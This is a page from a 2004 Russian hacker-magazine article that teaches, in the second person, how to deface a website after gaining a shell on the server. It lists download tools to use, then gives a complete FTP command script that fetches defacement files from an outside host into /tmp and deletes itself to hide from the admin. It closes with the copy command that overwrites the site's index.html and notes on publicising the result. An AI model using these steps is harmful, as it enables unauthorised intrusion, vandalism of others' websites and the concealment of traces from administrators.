Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #70, ОКТЯБРЬ 2004 г.

Дефейс по-правильному!

Докучаев Дмитрий aka Forb

Хакер, номер #070, стр. 070-060-3


Следующий шаг заключается в поиске программы для скачивания внешних файлов. Я уверен, что помимо скучного контента index.html тебе захочется добавить красивую картинку, элитный javascript или даже апплет. Все они должны быть залиты со стороннего сервера. Для того чтобы стянуть все необходимые документы, воспользуйся одной из следующих утилит: lynx, links, wget, fetch, curl или GET. Определить местоположение той или иной программы поможет команда «which имя». Синтаксис вышеуказанных тулз смотри в специальной врезке, думаю, с этим вопросом у тебя проблем не возникнет. Выкачивай последовательно все хакерские файлы в каталог /tmp и морально готовься к замене главной страницы - ты очень близок к этому шагу.

Предположим, что ты не нашел ни одной качалки на сервере. Такое тоже бывает. В этом случае можно воспользоваться обычным ftp-клиентом, предварительно наколбасив для него небольшой сценарий. Допустим, что все документы для дефейса находятся на бесплатном хостинге в каталоге deface. Твоя задача - слить их все в директорию /tmp/deface. Выполни все команды, указанные ниже, и необходимые документы без проблем сольются во временный каталог.

FTP-сценарий для убогого сервера :)

echo user user password > /tmp/ftp

echo prompt off > > /tmp/ftp

echo type binary > > /tmp/ftp

echo lcd /tmp/deface > > /tmp/ftp

echo mget deface/*.* > > /tmp/ftp

echo quit > > /tmp/ftp

ftp -n hack.narod.ru < /tmp/ftp

rm -rf /tmp/ftp

Сначала авторизуемся на сервере. Затем отключаем интерактивные вопросы и устанавливаем бинарную передачу. Потом заходим в локальный каталог /tmp/deface и выкачиваем все файлы из папки deface на удаленном сервере. Остается лишь попрощаться с сервером и выполнить мощный сценарий клиентом ftp (опция -n позволяет помещать логин и пароль в одну строку). Не забудем удалить временный скрипт, зачем посвящать админа в нелегкое хакерское мастерство? Может случиться и самая грустная ситуация, когда на сервере отсутствует ftp-клиент, установлен файрвол, либо клиент не понимает опции -n. В этом случае придется юзать команду echo с перенаправлением в index.html. Получится не очень красиво, зато ты получишь отличный шанс самоутвердиться за чужой счет:). Впрочем, есть мастера, которые одним echo’м могут наколбасить хакерский шедевр :). Все в твоих руках, нужно лишь немного знать язык разметки.

И наконец, самое главное. Перед тем как заменять главную страницу, сохрани ее копию. Этому правилу подчиняются даже самые кровожадные скрипткидисы. Ведь для кидиса основная цель - изменить index.html, а не стирать к черту весь вебовский контент. Поэтому перед выполнением команды cp -R /tmp/deface/* /path/to/web/, обязательно скопируй index.html в index.html.old.

А что потом?

Вот, собственно, и все. Алгоритм работы дефейсера виден сразу: вначале скрипткидис ищет нужный баг, затем эксплуатирует его до заветного командного шелла, генерирует index.html, заливает его на поверженный сервер, а затем переносит свое творение в папку с html-документами (с предварительной проверкой прав). Далее начинается самое интересное - скрипткидис замеряет время. Ему ужасно интересно, сколько минут, часов или дней его шедевр продержится на раскрученном портале. Кидис обязательно сделает зеркало, на которое вывесит скриншот или сам index.html. Впоследствии он может опубликовать свою работу на различных сайтах, например, на www.xakep.ru.

Назад на стр. 070-060-2  Содержание  Вперед на стр. 070-060-4